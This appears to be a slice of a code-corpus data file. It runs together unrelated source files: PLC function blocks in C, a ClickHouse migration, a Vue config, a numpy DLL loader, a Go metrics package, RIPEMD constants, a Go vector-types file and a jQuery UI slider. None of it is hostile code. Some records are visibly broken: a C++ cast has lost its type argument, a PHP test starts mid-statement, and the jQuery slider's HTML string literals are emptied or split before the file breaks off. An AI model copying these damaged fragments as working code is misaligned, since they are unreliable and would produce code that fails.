{\n __INIT_VAR(data__->AUTO,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->SP,0,retain)\n __INIT_VAR(data__->X0,0,retain)\n __INIT_VAR(data__->KP,0,retain)\n __INIT_VAR(data__->TR,0,retain)\n __INIT_VAR(data__->TD,0,retain)\n __INIT_VAR(data__->CYCLE,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->XOUT,0,retain)\n __INIT_VAR(data__->ERROR,0,retain)\n INTEGRAL_init__(&data__->ITERM,retain);\n DERIVATIVE_init__(&data__->DTERM,retain);\n}\n\n// Code part\nstatic void PID_body__(PID *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,ERROR,,(__GET_VAR(data__->PV,) - __GET_VAR(data__->SP,)));\n__SET_VAR(data__->ITERM.,RUN,,__GET_VAR(data__->AUTO,));\n__SET_VAR(data__->ITERM.,R1,,!(__GET_VAR(data__->AUTO,)));\n__SET_VAR(data__->ITERM.,XIN,,__GET_VAR(data__->ERROR,));\n__SET_VAR(data__->ITERM.,X0,,(__GET_VAR(data__->TR,) * (__GET_VAR(data__->X0,) - __GET_VAR(data__->ERROR,))));\n__SET_VAR(data__->ITERM.,CYCLE,,__GET_VAR(data__->CYCLE,));\nINTEGRAL_body__(&data__->ITERM);\n__SET_VAR(data__->DTERM.,RUN,,__GET_VAR(data__->AUTO,));\n__SET_VAR(data__->DTERM.,XIN,,__GET_VAR(data__->ERROR,));\n__SET_VAR(data__->DTERM.,CYCLE,,__GET_VAR(data__->CYCLE,));\nDERIVATIVE_body__(&data__->DTERM);\n__SET_VAR(data__->,XOUT,,(__GET_VAR(data__->KP,) * ((__GET_VAR(data__->ERROR,) + (__GET_VAR(data__->ITERM.XOUT,) / __GET_VAR(data__->TR,))) + (__GET_VAR(data__->DTERM.XOUT,) * __GET_VAR(data__->TD,)))));\n\ngoto __end;\n\n__end:\n return;\n} // PID_body__() \n\n\n\n\n\nstatic void RAMP_init__(RAMP *data__, BOOL retain) {\n __INIT_VAR(data__->RUN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->X0,0,retain)\n __INIT_VAR(data__->X1,0,retain)\n __INIT_VAR(data__->TR,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->CYCLE,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->BUSY,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->XOUT,0.0,retain)\n __INIT_VAR(data__->XI,0,retain)\n __INIT_VAR(data__->T,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n}\n\n// Code part\nstatic void RAMP_body__(RAMP *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,BUSY,,__GET_VAR(data__->RUN,));\nif (__GET_VAR(data__->RUN,)) {\n if (GE_TIME(2, __GET_VAR(data__->T,), __GET_VAR(data__->TR,))) {\n __SET_VAR(data__->,BUSY,,0);\n __SET_VAR(data__->,XOUT,,__GET_VAR(data__->X1,));\n } else {\n __SET_VAR(data__->,XOUT,,(__GET_VAR(data__->XI,) + (((__GET_VAR(data__->X1,) - __GET_VAR(data__->XI,)) * TIME_TO_REAL((TIME)__GET_VAR(data__->T,))) / TIME_TO_REAL((TIME)__GET_VAR(data__->TR,)))));\n __SET_VAR(data__->,T,,__time_add(__GET_VAR(data__->T,), __GET_VAR(data__->CYCLE,)));\n };\n} else {\n __SET_VAR(data__->,XOUT,,__GET_VAR(data__->X0,));\n __SET_VAR(data__->,XI,,__GET_VAR(data__->X0,));\n __SET_VAR(data__->,T,,__time_to_timespec(1, 0, 0, 0, 0, 0));\n};\n\ngoto __end;\n\n__end:\n return;\n} // RAMP_body__() \n\n\n\n\n\nstatic void RTC_init__(RTC *data__, BOOL retain) {\n __INIT_VAR(data__->IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PDT,__dt_to_timespec(0, 0, 0, 1, 1, 1970),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CDT,__dt_to_timespec(0, 0, 0, 1, 1, 1970),retain)\n __INIT_VAR(data__->PREV_IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->OFFSET,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->CURRENT_TIME,__dt_to_timespec(0, 0, 0, 1, 1, 1970),retain)\n}\n\n// Code part\nstatic void RTC_body__(RTC *data__) {\n// Initialise TEMP variables\n\n#define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__)\n#define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val)\n__SET_VAR(data__->,CURRENT_TIME,,__CURRENT_TIME)\n#undef GetFbVar\n#undef SetFbVar\n;\nif (__GET_VAR(data__->IN,)) {\n if (!(__GET_VAR(data__->PREV_IN,))) {\n __SET_VAR(data__->,OFFSET,,__time_sub(__GET_VAR(data__->PDT,), __GET_VAR(data__->CURRENT_TIME,)));\n };\n __SET_VAR(data__->,CDT,,__time_add(__GET_VAR(data__->CURRENT_TIME,), __GET_VAR(data__->OFFSET,)));\n} else {\n __SET_VAR(data__->,CDT,,__GET_VAR(data__->CURRENT_TIME,));\n};\n__SET_VAR(data__->,Q,,__GET_VAR(data__->IN,));\n__SET_VAR(data__->,PREV_IN,,__GET_VAR(data__->IN,));\n\ngoto __end;\n\n__end:\n return;\n} // RTC_body__() \n\n\n\n\n\nstatic void SEMA_init__(SEMA *data__, BOOL retain) {\n __INIT_VAR(data__->CLAIM,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->RELEASE,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->BUSY,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->Q_INTERNAL,__BOOL_LITERAL(FALSE),retain)\n}\n\n// Code part\nstatic void SEMA_body__(SEMA *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,Q_INTERNAL,,(__GET_VAR(data__->CLAIM,) || (__GET_VAR(data__->Q_INTERNAL,) && !(__GET_VAR(data__->RELEASE,)))));\n__SET_VAR(data__->,BUSY,,__GET_VAR(data__->Q_INTERNAL,));\n\ngoto __end;\n\n__end:\n return;\n} // SEMA_body__() \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#endif //_IEC_STD_FB_H"} +{"text": "from typing import Sequence\n\n\nfrom snuba.clickhouse.columns import (\n Array,\n Column,\n DateTime,\n FixedString,\n IPv4,\n IPv6,\n LowCardinality,\n Materialized,\n Nested,\n Nullable,\n String,\n UInt,\n UUID,\n WithCodecs,\n WithDefault,\n)\nfrom snuba.clusters.storage_sets import StorageSetKey\nfrom snuba.migrations import migration, operations, table_engines\n\ncolumns = [\n Column(\"org_id\", UInt(64)),\n Column(\"project_id\", UInt(64)),\n Column(\"timestamp\", DateTime()),\n Column(\"event_id\", WithCodecs(UUID(), [\"NONE\"])),\n Column(\n \"event_hash\",\n WithCodecs(\n Materialized(UInt(64), \"cityHash64(toString(event_id))\",), [\"NONE\"],\n ),\n ),\n Column(\"platform\", LowCardinality(String())),\n Column(\"environment\", LowCardinality(Nullable(String()))),\n Column(\"release\", LowCardinality(Nullable(String()))),\n Column(\"dist\", LowCardinality(Nullable(String()))),\n Column(\"ip_address_v4\", Nullable(IPv4())),\n Column(\"ip_address_v6\", Nullable(IPv6())),\n Column(\"user\", WithDefault(String(), \"''\")),\n Column(\"user_hash\", Materialized(UInt(64), \"cityHash64(user)\"),),\n Column(\"user_id\", Nullable(String())),\n Column(\"user_name\", Nullable(String())),\n Column(\"user_email\", Nullable(String())),\n Column(\"sdk_name\", LowCardinality(Nullable(String()))),\n Column(\"sdk_version\", LowCardinality(Nullable(String()))),\n Column(\"tags\", Nested([(\"key\", String()), (\"value\", String())])),\n Column(\"_tags_flattened\", String()),\n Column(\"contexts\", Nested([(\"key\", String()), (\"value\", String())])),\n Column(\"_contexts_flattened\", String()),\n Column(\"transaction_name\", WithDefault(LowCardinality(String()), \"''\")),\n Column(\"transaction_hash\", Materialized(UInt(64), \"cityHash64(transaction_name)\"),),\n Column(\"span_id\", Nullable(UInt(64))),\n Column(\"trace_id\", Nullable(UUID())),\n Column(\"partition\", UInt(16)),\n Column(\"offset\", WithCodecs(UInt(64), [\"DoubleDelta\", \"LZ4\"])),\n Column(\"message_timestamp\", DateTime()),\n Column(\"retention_days\", UInt(16)),\n Column(\"deleted\", UInt(8)),\n Column(\"group_id\", UInt(64)),\n Column(\"primary_hash\", FixedString(32)),\n Column(\"primary_hash_hex\", Materialized(UInt(64), \"hex(primary_hash)\")),\n Column(\"event_string\", WithCodecs(String(), [\"NONE\"])),\n Column(\"received\", DateTime()),\n Column(\"message\", String()),\n Column(\"title\", String()),\n Column(\"culprit\", String()),\n Column(\"level\", LowCardinality(String())),\n Column(\"location\", Nullable(String())),\n Column(\"version\", LowCardinality(Nullable(String()))),\n Column(\"type\", LowCardinality(String())),\n Column(\n \"exception_stacks\",\n Nested(\n [\n (\"type\", Nullable(String())),\n (\"value\", Nullable(String())),\n (\"mechanism_type\", Nullable(String())),\n (\"mechanism_handled\", Nullable(UInt(8))),\n ]\n ),\n ),\n Column(\n \"exception_frames\",\n Nested(\n [\n (\"abs_path\", Nullable(String())),\n (\"colno\", Nullable(UInt(32))),\n (\"filename\", Nullable(String())),\n (\"function\", Nullable(String())),\n (\"lineno\", Nullable(UInt(32))),\n (\"in_app\", Nullable(UInt(8))),\n (\"package\", Nullable(String())),\n (\"module\", Nullable(String())),\n (\"stack_level\", Nullable(UInt(16))),\n ]\n ),\n ),\n Column(\"sdk_integrations\", Array(String())),\n Column(\"modules\", Nested([(\"name\", String()), (\"version\", String())])),\n]\n\n\nclass Migration(migration.MultiStepMigration):\n blocking = False\n\n def forwards_local(self) -> Sequence[operations.Operation]:\n return [\n operations.CreateTable(\n storage_set=StorageSetKey.EVENTS,\n table_name=\"errors_local\",\n columns=columns,\n engine=table_engines.ReplacingMergeTree(\n storage_set=StorageSetKey.EVENTS,\n version_column=\"deleted\",\n order_by=\"(org_id, project_id, toStartOfDay(timestamp), primary_hash_hex, event_hash)\",\n partition_by=\"(toMonday(timestamp), if(retention_days = 30, 30, 90))\",\n sample_by=\"event_hash\",\n ttl=\"timestamp + toIntervalDay(retention_days)\",\n settings={\"index_granularity\": \"8192\"},\n ),\n )\n ]\n\n def backwards_local(self) -> Sequence[operations.Operation]:\n return [\n operations.DropTable(\n storage_set=StorageSetKey.EVENTS, table_name=\"errors_local\",\n )\n ]\n\n def forwards_dist(self) -> Sequence[operations.Operation]:\n return [\n operations.CreateTable(\n storage_set=StorageSetKey.EVENTS,\n table_name=\"errors_dist\",\n columns=columns,\n engine=table_engines.Distributed(\n local_table_name=\"errors_local\", sharding_key=\"event_hash\",\n ),\n )\n ]\n\n def backwards_dist(self) -> Sequence[operations.Operation]:\n return [\n operations.DropTable(\n storage_set=StorageSetKey.EVENTS, table_name=\"errors_dist\"\n )\n ]\n"} +{"text": "// export default {\n// primaryColor: '#1890FF', // primary color of ant design\n// navTheme: 'light', // theme for nav menu\n// layout: 'topmenu', // nav menu position: sidemenu or topmenu\n// contentWidth: 'Fluid', // layout of content: Fluid or Fixed, only works when layout is topmenu\n// fixedHeader: false, // sticky header\n// fixSiderbar: false, // sticky siderbar\n// autoHideHeader: false, // auto hide header\n// colorWeak: false,\n// multiTab: false,\n// production: process.env.NODE_ENV === 'production' && process.env.VUE_APP_PREVIEW !== 'true',\n// // vue-ls options\n// storageOptions: {\n// namespace: 'pro__', // key prefix\n// name: 'ls', // name variable Vue.[ls] or this.[$ls],\n// storage: 'local' // storage name session, local, memory\n// }\n// }\n\nexport default {\n primaryColor: '#1890FF', // primary color of ant design\n navTheme: 'light', // theme for nav menu\n layout: 'topmenu', // nav menu position: sidemenu or topmenu\n contentWidth: 'Fluid', // layout of content: Fluid or Fixed, only works when layout is topmenu\n fixedHeader: false, // sticky header\n fixSiderbar: false, // sticky siderbar\n autoHideHeader: false, // auto hide header\n colorWeak: false,\n multiTab: false,\n production: process.env.NODE_ENV === 'production' && process.env.VUE_APP_PREVIEW !== 'true',\n // vue-ls options\n storageOptions: {\n namespace: 'keel__',\n name: 'ls',\n storage: 'local'\n }\n}\n"} +{"text": "\n'''\nHelper to preload windows dlls to prevent dll not found errors.\nOnce a DLL is preloaded, its namespace is made available to any\nsubsequent DLL. This file originated in the numpy-wheels repo,\nand is created as part of the scripts that build the wheel.\n'''\nimport os\nfrom ctypes import WinDLL\nimport glob\nif os.name == 'nt':\n # convention for storing / loading the DLL from\n # numpy/.libs/, if present\n try:\n basedir = os.path.dirname(__file__)\n except:\n pass\n else:\n libs_dir = os.path.abspath(os.path.join(basedir, '.libs'))\n DLL_filenames = []\n if os.path.isdir(libs_dir):\n for filename in glob.glob(os.path.join(libs_dir,\n '*openblas*dll')):\n # NOTE: would it change behavior to load ALL\n # DLLs at this path vs. the name restriction?\n WinDLL(os.path.abspath(filename))\n DLL_filenames.append(filename)\n if len(DLL_filenames) > 1:\n import warnings\n warnings.warn(\"loaded more than 1 DLL from .libs:\\n%s\" %\n \"\\n\".join(DLL_filenames),\n stacklevel=1)\n"} +{"text": "class Base {\n public:\n Base() { }\n virtual ~Base() { }\n virtual const char * A() const {\n return \"Base::A\";\n }\n const char * B() const {\n return \"Base::B\";\n }\n virtual Base *toBase() {\n return static_cast(this);\n }\n};\n \n \n"} +{"text": "fileFormatVersion: 2\nguid: 5dc9e0ae01c204ce7b7517c8d59713e6\ntimeCreated: 1504393627\nlicenseType: Pro\nNativeFormatImporter:\n mainObjectFileID: 0\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "// Package metrics provides functions for collecting\n// and managing metrics through different metrics libraries.\n//\n// Metrics library implementations must implement the\n// Registry interface in the package.\npackage metrics\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/fabiolb/fabio/config\"\n\t\"github.com/fabiolb/fabio/exit\"\n)\n\n// DefaultRegistry stores the metrics library provider.\nvar DefaultRegistry Registry = NoopRegistry{}\n\n// DefaultNames contains the default template for route metric names.\nconst DefaultNames = \"{{clean .Service}}.{{clean .Host}}.{{clean .Path}}.{{clean .TargetURL.Host}}\"\n\n// DefaulPrefix contains the default template for metrics prefix.\nconst DefaultPrefix = \"{{clean .Hostname}}.{{clean .Exec}}\"\n\n// names stores the template for the route metric names.\nvar names *template.Template\n\n// prefix stores the final prefix string to use it with metric collectors where applicable, i.e. Graphite/StatsD\nvar prefix string\n\nfunc init() {\n\t// make sure names is initialized to something\n\tvar err error\n\tif names, err = parseNames(DefaultNames); err != nil {\n\t\tpanic(err)\n\t}\n}\n\n// NewRegistry creates a new metrics registry.\nfunc NewRegistry(cfg config.Metrics) (r Registry, err error) {\n\n\tif prefix, err = parsePrefix(cfg.Prefix); err != nil {\n\t\treturn nil, fmt.Errorf(\"metrics: invalid Prefix template. %s\", err)\n\t}\n\n\tif names, err = parseNames(cfg.Names); err != nil {\n\t\treturn nil, fmt.Errorf(\"metrics: invalid names template. %s\", err)\n\t}\n\n\tswitch cfg.Target {\n\tcase \"stdout\":\n\t\tlog.Printf(\"[INFO] Sending metrics to stdout\")\n\t\treturn gmStdoutRegistry(cfg.Interval)\n\n\tcase \"graphite\":\n\t\tlog.Printf(\"[INFO] Sending metrics to Graphite on %s as %q\", cfg.GraphiteAddr, prefix)\n\t\treturn gmGraphiteRegistry(prefix, cfg.GraphiteAddr, cfg.Interval)\n\n\tcase \"statsd\":\n\t\tlog.Printf(\"[INFO] Sending metrics to StatsD on %s as %q\", cfg.StatsDAddr, prefix)\n\t\treturn gmStatsDRegistry(prefix, cfg.StatsDAddr, cfg.Interval)\n\n\tcase \"circonus\":\n\t\treturn circonusRegistry(prefix, cfg.Circonus, cfg.Interval)\n\n\tdefault:\n\t\texit.Fatal(\"[FATAL] Invalid metrics target \", cfg.Target)\n\t}\n\tpanic(\"unreachable\")\n}\n\n// parsePrefix parses the prefix metric template\nfunc parsePrefix(tmpl string) (string, error) {\n\t// Backward compatibility condition for old metrics.prefix parameter 'default'\n\tif tmpl == \"default\" {\n\t\ttmpl = DefaultPrefix\n\t}\n\tfuncMap := template.FuncMap{\n\t\t\"clean\": clean,\n\t}\n\tt, err := template.New(\"prefix\").Funcs(funcMap).Parse(tmpl)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thost, err := hostname()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\texe := filepath.Base(os.Args[0])\n\n\tb := new(bytes.Buffer)\n\tdata := struct{ Hostname, Exec string }{host, exe}\n\tif err := t.Execute(b, &data); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn b.String(), nil\n}\n\n// parseNames parses the route metric name template.\nfunc parseNames(tmpl string) (*template.Template, error) {\n\tfuncMap := template.FuncMap{\n\t\t\"clean\": clean,\n\t}\n\tt, err := template.New(\"names\").Funcs(funcMap).Parse(tmpl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttestURL, err := url.Parse(\"http://127.0.0.1:12345/\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := TargetName(\"testservice\", \"test.example.com\", \"/test\", testURL); err != nil {\n\t\treturn nil, err\n\t}\n\treturn t, nil\n}\n\n// TargetName returns the metrics name from the given parameters.\nfunc TargetName(service, host, path string, targetURL *url.URL) (string, error) {\n\tif names == nil {\n\t\treturn \"\", nil\n\t}\n\n\tvar name bytes.Buffer\n\n\tdata := struct {\n\t\tService, Host, Path string\n\t\tTargetURL *url.URL\n\t}{service, host, path, targetURL}\n\n\tif err := names.Execute(&name, data); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn name.String(), nil\n}\n\n// clean creates safe names for graphite reporting by replacing\n// some characters with underscores.\n// TODO(fs): This may need updating for other metrics backends.\nfunc clean(s string) string {\n\tif s == \"\" {\n\t\treturn \"_\"\n\t}\n\ts = strings.Replace(s, \".\", \"_\", -1)\n\ts = strings.Replace(s, \":\", \"_\", -1)\n\treturn strings.ToLower(s)\n}\n\n// stubbed out for testing\nvar hostname = os.Hostname\n"} +{"text": "/*\n * Common values for RIPEMD algorithms\n */\n\n#ifndef _CRYPTO_RMD_H\n#define _CRYPTO_RMD_H\n\n#define RMD128_DIGEST_SIZE 16\n#define RMD128_BLOCK_SIZE 64\n\n#define RMD160_DIGEST_SIZE 20\n#define RMD160_BLOCK_SIZE 64\n\n#define RMD256_DIGEST_SIZE 32\n#define RMD256_BLOCK_SIZE 64\n\n#define RMD320_DIGEST_SIZE 40\n#define RMD320_BLOCK_SIZE 64\n\n/* initial values */\n#define RMD_H0 0x67452301UL\n#define RMD_H1 0xefcdab89UL\n#define RMD_H2 0x98badcfeUL\n#define RMD_H3 0x10325476UL\n#define RMD_H4 0xc3d2e1f0UL\n#define RMD_H5 0x76543210UL\n#define RMD_H6 0xfedcba98UL\n#define RMD_H7 0x89abcdefUL\n#define RMD_H8 0x01234567UL\n#define RMD_H9 0x3c2d1e0fUL\n\n/* constants */\n#define RMD_K1 0x00000000UL\n#define RMD_K2 0x5a827999UL\n#define RMD_K3 0x6ed9eba1UL\n#define RMD_K4 0x8f1bbcdcUL\n#define RMD_K5 0xa953fd4eUL\n#define RMD_K6 0x50a28be6UL\n#define RMD_K7 0x5c4dd124UL\n#define RMD_K8 0x6d703ef3UL\n#define RMD_K9 0x7a6d76e9UL\n\n#endif\n"} +{"text": "mockInputInterface(self::TEST_MODULE_PATH);\n AspectMock::double(StaticChecksList::class, ['getErrorFilesPath' => self::STATIC_RESULTS_DIR]);\n\n /** @var InputInterface $input */\n $staticCheck->execute($input);\n\n $this->assertTrue(file_exists(self::LOG_FILE));\n $this->assertFileEquals(\n self::RESOURCES_PATH.\n DIRECTORY_SEPARATOR .\n PauseActionUsageCheck::ERROR_LOG_FILENAME .\n \".txt\",\n self::LOG_FILE\n );\n }\n}\n"} +{"text": "// Copyright 2015 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// Package f32 implements float32 vector and matrix types.\npackage f32 // import \"golang.org/x/image/math/f32\"\n\n// Vec2 is a 2-element vector.\ntype Vec2 [2]float32\n\n// Vec3 is a 3-element vector.\ntype Vec3 [3]float32\n\n// Vec4 is a 4-element vector.\ntype Vec4 [4]float32\n\n// Mat3 is a 3x3 matrix in row major order.\n//\n// m[3*r + c] is the element in the r'th row and c'th column.\ntype Mat3 [9]float32\n\n// Mat4 is a 4x4 matrix in row major order.\n//\n// m[4*r + c] is the element in the r'th row and c'th column.\ntype Mat4 [16]float32\n\n// Aff3 is a 3x3 affine transformation matrix in row major order, where the\n// bottom row is implicitly [0 0 1].\n//\n// m[3*r + c] is the element in the r'th row and c'th column.\ntype Aff3 [6]float32\n\n// Aff4 is a 4x4 affine transformation matrix in row major order, where the\n// bottom row is implicitly [0 0 0 1].\n//\n// m[4*r + c] is the element in the r'th row and c'th column.\ntype Aff4 [12]float32\n"} +{"text": "/*!\n * jQuery UI Slider 1.11.4\n * http://jqueryui.com\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license.\n * http://jquery.org/license\n *\n * http://api.jqueryui.com/slider/\n */\n(function( factory ) {\n\tif ( typeof define === \"function\" && define.amd ) {\n\n\t\t// AMD. Register as an anonymous module.\n\t\tdefine([\n\t\t\t\"jquery\",\n\t\t\t\"./core\",\n\t\t\t\"./mouse\",\n\t\t\t\"./widget\"\n\t\t], factory );\n\t} else {\n\n\t\t// Browser globals\n\t\tfactory( jQuery );\n\t}\n}(function( $ ) {\n\nreturn $.widget( \"ui.slider\", $.ui.mouse, {\n\tversion: \"1.11.4\",\n\twidgetEventPrefix: \"slide\",\n\n\toptions: {\n\t\tanimate: false,\n\t\tdistance: 0,\n\t\tmax: 100,\n\t\tmin: 0,\n\t\torientation: \"horizontal\",\n\t\trange: false,\n\t\tstep: 1,\n\t\tvalue: 0,\n\t\tvalues: null,\n\n\t\t// callbacks\n\t\tchange: null,\n\t\tslide: null,\n\t\tstart: null,\n\t\tstop: null\n\t},\n\n\t// number of pages in a slider\n\t// (how many times can you page up/down to go through the whole range)\n\tnumPages: 5,\n\n\t_create: function() {\n\t\tthis._keySliding = false;\n\t\tthis._mouseSliding = false;\n\t\tthis._animateOff = true;\n\t\tthis._handleIndex = null;\n\t\tthis._detectOrientation();\n\t\tthis._mouseInit();\n\t\tthis._calculateNewMax();\n\n\t\tthis.element\n\t\t\t.addClass( \"ui-slider\" +\n\t\t\t\t\" ui-slider-\" + this.orientation +\n\t\t\t\t\" ui-widget\" +\n\t\t\t\t\" ui-widget-content\" +\n\t\t\t\t\" ui-corner-all\");\n\n\t\tthis._refresh();\n\t\tthis._setOption( \"disabled\", this.options.disabled );\n\n\t\tthis._animateOff = false;\n\t},\n\n\t_refresh: function() {\n\t\tthis._createRange();\n\t\tthis._createHandles();\n\t\tthis._setupEvents();\n\t\tthis._refreshValue();\n\t},\n\n\t_createHandles: function() {\n\t\tvar i, handleCount,\n\t\t\toptions = this.options,\n\t\t\texistingHandles = this.element.find( \".ui-slider-handle\" ).addClass( \"ui-state-default ui-corner-all\" ),\n\t\t\thandle = \"\",\n\t\t\thandles = [];\n\n\t\thandleCount = ( options.values && options.values.length ) || 1;\n\n\t\tif ( existingHandles.length > handleCount ) {\n\t\t\texistingHandles.slice( handleCount ).remove();\n\t\t\texistingHandles = existingHandles.slice( 0, handleCount );\n\t\t}\n\n\t\tfor ( i = existingHandles.length; i < handleCount; i++ ) {\n\t\t\thandles.push( handle );\n\t\t}\n\n\t\tthis.handles = existingHandles.add( $( handles.join( \"\" ) ).appendTo( this.element ) );\n\n\t\tthis.handle = this.handles.eq( 0 );\n\n\t\tthis.handles.each(function( i ) {\n\t\t\t$( this ).data( \"ui-slider-handle-index\", i );\n\t\t});\n\t},\n\n\t_createRange: function() {\n\t\tvar options = this.options,\n\t\t\tclasses = \"\";\n\n\t\tif ( options.range ) {\n\t\t\tif ( options.range === true ) {\n\t\t\t\tif ( !options.values ) {\n\t\t\t\t\toptions.values = [ this._valueMin(), this._valueMin() ];\n\t\t\t\t} else if ( options.values.length && options.values.length !== 2 ) {\n\t\t\t\t\toptions.values = [ options.values[0], options.values[0] ];\n\t\t\t\t} else if ( $.isArray( options.values ) ) {\n\t\t\t\t\toptions.values = options.values.slice(0);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( !this.range || !this.range.length ) {\n\t\t\t\tthis.range = $( \"
    \" )\n\t\t\t\t\t.appendTo( this.element );\n\n\t\t\t\tclasses = \"ui-slider-range\" +\n\t\t\t\t// note: this isn't the most fittingly semantic framework class for this element,\n\t\t\t\t// but worked best visually with a variety of themes\n\t\t\t\t\" ui-widget-header ui-corner-all\";\n\t\t\t} else {\n\t\t\t\tthis.range.removeClass( \"ui-slider-range-min ui-slider-range-max\" )\n\t\t\t\t\t// Handle range switching from true to min/max\n\t\t\t\t\t.css({\n\t\t\t\t\t\t\"left\": \"\",\n\t\t\t\t\t\t\"bottom\": \"\"\n\t\t\t\t\t});\n\t\t\t}\n\n\t\t\tthis.range.addClass( classes +\n\t\t\t\t( ( options.range === \"min\" || options.range === \"max\" ) ? \" ui-slider-range-\" + options.range : \"\" ) );\n\t\t} else {\n\t\t\tif ( this.range ) {\n\t\t\t\tthis.range.remove();\n\t\t\t}\n\t\t\tthis.range = null;\n\t\t}\n\t},\n\n\t_setupEvents: function() {\n\t\tthis._off( this.handles );\n\t\tthis._on( this.handles, this._handleEvents );\n\t\tthis._hoverable( this.handles );\n\t\tthis._focusable( this.handles );\n\t},\n\n\t_destroy: function() {\n\t\tthis.handles.remove();\n\t\tif ( this.range ) {\n\t\t\tthis.range.remove();\n\t\t}\n\n\t\tthis.element\n\t\t\t.removeClass( \"ui-slider\" +\n\t\t\t\t\" ui-slider-horizontal\" +\n\t\t\t\t\" ui-slider-vertical\" +\n\t\t\t\t\" ui-widget\" +\n\t\t\t\t\" ui-widget-content\" +\n\t\t\t\t\" ui-corner-all\" );\n\n\t\tthis._mouseDestroy();\n\t},\n\n\t_mouseCapture: function( event ) {\n\t\tvar position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,\n\t\t\tthat = this,\n\t\t\to = this.options;\n\n\t\tif ( o.disabled ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tthis.elementSize = {\n\t\t\twidth: this.element.outerWidth(),\n\t\t\theight: this.element.outerHeight()\n\t\t};\n\t\tthis.elementOffset = this.element.offset();\n\n\t\tposition = { x: event.pageX, y: event.pageY };\n\t\tnormValue = this._normValueFromMouse( position );\n\t\tdistance = this._valueMax() - this._valueMin() + 1;\n\t\tthis.handles.each(function( i ) {\n\t\t\tvar thisDistance = Math.abs( normValue - that.values(i) );\n\t\t\tif (( distance > thisDistance ) ||\n\t\t\t\t( distance === thisDistance &&\n\t\t\t\t\t(i === that._lastChangedValue || that.values(i) === o.min ))) {\n\t\t\t\tdistance = thisDistance;\n\t\t\t\tclosestHandle = $( this );\n\t\t\t\tindex = i;\n\t\t\t}\n\t\t});\n\n\t\tallowed = this._start( event, index );\n\t\tif ( allowed === false ) {\n\t\t\treturn false;\n\t\t}\n\t\tthis._mouseSliding = true;\n\n\t\tthis._handleIndex = index;\n\n\t\tclosestHandle\n\t\t\t.addClass( \"ui-state-active\" )\n\t\t\t.focus();\n\n\t\toffset = closestHandle.offset();\n\t\tmouseOverHandle = !$( event.target ).parents().addBack().is( \".ui-slider-handle\" );\n\t\tthis._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {\n\t\t\tleft: event.pageX - offset.left - ( closestHandle.width() / 2 ),\n\t\t\ttop: event.pageY - offset.top -\n\t\t\t\t( closestHandle.height() / 2 ) -\n\t\t\t\t( parseInt( closestHandle.css(\"borderTopWidth\"), 10 ) || 0 ) -\n\t\t\t\t( parseInt( closestHandle.css(\"borderBottomWidth\"), 10 ) || 0) +\n\t\t\t\t( parseInt( closestHandle.css(\"marginTop\"), 10 ) || 0)\n\t\t};\n\n\t\tif ( !this.handles.hasClass( \"ui-state-hover\" ) ) {\n\t\t\tthis._slide( event, index, normValue );\n\t\t}\n\t\tthis._animateOff = true;\n\t\treturn true;\n\t},\n\n\t_mouseStart: function() {\n\t\treturn true;\n\t},\n\n\t_mouseDrag: function( event ) {\n\t\tvar position = { x: event.pageX, y: event.pageY },\n\t\t\tnormValue = this._normValueFromMouse( position );\n\n\t\tthis._slide( event, this._handleIndex, normValue );\n\n\t\treturn false;\n\t},\n\n\t_mouseStop: function( event ) {\n\t\tthis.handles.removeClass( \"ui-state-active\" );\n\t\tthis._mouseSliding = false;\n\n\t\tthis._stop( event, this._handleIndex );\n\t\tthis._change( event, this._handleIndex );\n\n\t\tthis._handleIndex = null;\n\t\tthis._clickOffset = null;\n\t\tthis._animateOff = false;\n\n\t\treturn false;\n\t},\n\n\t_detectOrientation: function() {\n\t\tthis.orientation = ( this.options.orientation === \"vertical\" ) ? \"vertical\" : \"horizontal\";\n\t},\n\n\t_normValueFromMouse: function( position ) {\n\t\tvar pixelTotal,\n\t\t\tpixelMouse,\n\t\t\tpercentMouse,\n\t\t\tvalueTotal,\n\t\t\tvalueMouse;\n\n\t\tif ( this.orientation === \"horizontal\" ) {\n\t\t\tpixelTotal = this.elementSize.width;\n\t\t\tpixelMouse = position.x - this.elementOffset.left - ( this._clickOffset ? this._clickOffset.left : 0 );\n\t\t} else {\n\t\t\tpixelTotal = this.elementSize.height;\n\t\t\tpixelMouse 